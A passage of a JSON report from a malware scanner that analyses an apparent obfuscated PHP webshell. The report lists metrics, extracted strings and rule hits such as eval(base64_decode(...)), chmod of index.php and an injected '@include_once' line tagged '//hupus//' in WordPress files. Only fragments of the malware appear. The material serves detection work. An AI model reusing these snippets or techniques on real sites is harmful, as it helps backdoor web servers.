"imports_to_functions_ratio": 10.5, "strings_to_functions_ratio": 10.25, "suspicious_identifier_ratio": 0.02, "normalized_unique_identifiers": 48.0, "identifiers_to_functions_ratio": 12.0 }, "imports": { "total": 42.0, "unique_modules": 26.0, "third_party_count": 42.0, "third_party_ratio": 1.0 }, "strings": { "total": 41.0, "avg_length": 1187.39, "max_length": 24203.0, "path_count": 2.0, "avg_entropy": 2.06, "total_bytes": 48683.0, "entropy_stddev": 1.58, "very_long_strings": 2.0, "high_entropy_count": 2.0, "embedded_code_candidates": 4.0 }, "comments": {}, "functions": { "total": 4.0, "one_liners": 4.0, "avg_name_length": 7.25, "no_params_count": 4.0, "avg_length_lines": 1.0, "max_length_lines": 1.0, "min_length_lines": 1.0, "density_per_100_lines": 200.0, "code_in_functions_ratio": 2.0 }, "identifiers": { "total": 143.0, "avg_length": 6.77, "max_length": 19.0, "min_length": 1.0, "avg_entropy": 2.31, "reuse_ratio": 0.34, "unique_count": 48.0, "length_stddev": 3.74, "sequential_names": 1.0, "single_char_count": 1.0, "single_char_ratio": 0.02, "all_lowercase_ratio": 0.9, "all_uppercase_ratio": 0.04, "double_underscore_count": 1.0, "underscore_prefix_count": 1.0 } }, "ss": [ [ 26, "wp-content" ], [ 27, "wp-content" ], [ 67, "wp-content" ], [ 68, "wp-content" ], [ 135, "index.php" ], [ 136, "index.php" ], [ 24503, "index.php" ], [ 24504, "index.php" ], [ 24555, "index.php" ], [ 24556, "index.php" ], [ 24589, "//hupus//" ], [ 24590, "//hupus//" ], [ 24921, "\\r\\n" ], [ 24934, "\\r\\n" ], [ 24953, "\u003c?PHP \\r\\n @include_once(\\" ], [ 24954, "\u003c?PHP " ], [ 24964, " @include_once(" ], [ 24995, "\\\");//hupus// ?\u003e\\r\\n" ], [ 24998, ");//hupus// ?\u003e" ], [ 25050, "index.php" ], [ 25051, "index.php" ], [ 25085, "index.php" ], [ 25086, "index.php" ], [ 25347, "." ], [ 25348, "." ], [ 25352, ".." ], [ 25353, ".." ], [ 25725, "0" ], [ 25726, "0" ], [ 25751, "\\x" ], [ 25752, "\\x" ], [ 26029, "." ], [ 26030, "." ], [ 26043, ".." ], [ 26044, ".." ], [ 26070, "." ], [ 26071, "." ], [ 26120, "/index.php" ], [ 26121, "/index.php" ], [ 6, "base64", "/**\r\n * Signature For Report\r\n */$x105='[area2]_)hc_)ht, _get_s_)httatic_ar_)htr($local__)hturl._)hcare_)hta2_)hc,$ar_)hteas_arr" ] ], "sz": 26272, "ts": [ { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 24203.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "c": 0.949999988079071, "d": "PHP opening tag present", "e": [ "\u003c?php" ], "i": "metadata/lang/scripted::php-open-tag", "l": 1 }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@is_dir($dir)", "@chmod($dir.'index.php', 0777)", "@chmod($dir.'index.php', 0444)", "@opendir($dir)" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "c": 0.699999988079071, "d": "\"directory\" path-target noun", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-noun-directory", "l": 1 }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 2.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "file_get_contents (raw POST body reader)", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Last line is over 1000 chars", "e": [ "text.last_line_length = 26265.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[base_convert, chmod, count, die, dirname, explode, file_exists, file_get_contents, file_put_contents, in_array, is_dir, is_read" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "c": 1.0, "d": "PHP scandir function symbol", "e": [ "scandir" ], "i": "micro-behaviors/fs/enumerate/directory::php-scandir", "l": 3 }, { "a": "T1505.003", "c": 0.9900000095367432, "d": "Decodes a large embedded payload (base64)", "e": [ "base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMDU9J1thcmVhMl1fKWhjXylodCwgX2dldF9zXylodHRhdGljX2FyXylodHIoJGxvY" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-base64-large-payload", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "Near-zero whitespace script", "e": [ "text.whitespace_ratio = 0.01" ], "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace", "l": 1 }, { "a": "T1059.001", "c": 0.8999999761581421, "d": "Error-suppressed eval (@eval)", "e": [ "@eval(" ], "i": "objectives/execution/interpreter/eval/remote::eval-error-suppressed", "l": 4, "m": "E1059" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "ZXZhbCg" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::encoded-dangerous-php-base64--rx-4", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval(base64_decode(" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-decoder-chain--rx-1", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 26265.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via functions in PHP", "e": [ "scandir(" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn", "l": 2 }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "file_put_contents(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "c": 0.6000000238418579, "d": "Base64-encoded HTTPS protocol fragment", "e": [ "aHR0cHM6Ly" ], "i": "objectives/exfiltration/oob/endpoint::https-b64", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 26265.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "a": "T1027", "c": 0.699999988079071, "d": "Very low whitespace ratio (minified/compressed)", "e": [ "text.whitespace_ratio = 0.01" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.8500000238418579, "d": "High function density", "e": [ "functions.density_per_100_lines = 200.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::high-function-density", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 5.82" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP decoder eval webshell", "e": [ "base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMDU9J1thcmVhMl1fKWhjXylodCwgX2dldF9zXylodHRhdGljX2FyXylodHIoJGxvY", "eval(base64_decode(" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::php-decoder-eval-webshell", "l": 5, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Minified/compressed code (multiple indicators)", "e": [ "text.whitespace_ratio = 0.01", "functions.density_per_100_lines = 200.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::minified-code", "l": 2, "m": "B0032" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "/** * Signature For Report */$x105=' \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3 }, { "c": 0.8999999761581421, "d": "php webshell containing base64 encoded payload", "e": [ "base64_decode", "ZXZhb", "\u003c?PHP", "\u003c?php", "V4ZW", "\u003c?" ], "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell which directly eval()s obfuscated string", "e": [ "\u003c?PHP", "eval(base64_decode(", "\u003c?", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/Gzinflated", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "ase6", "\u003c?", "\u003c?php", "\u003c?PHP", "eval(" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using some kind of eval with encoded blob to decode, which is checked with YARAs math.entropy module", "e": [ "\u003c?PHP", "eval(b", "\u003c?", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/Encoded/Big", "l": 5 } ], "sha": "5641d31cd3cd64cd5b903905bd5240ef558a48f28d6fdeb321b9b47cbf06998d", "path": "piC.php.2", "type": "php" } ], "tv": "87c42" } }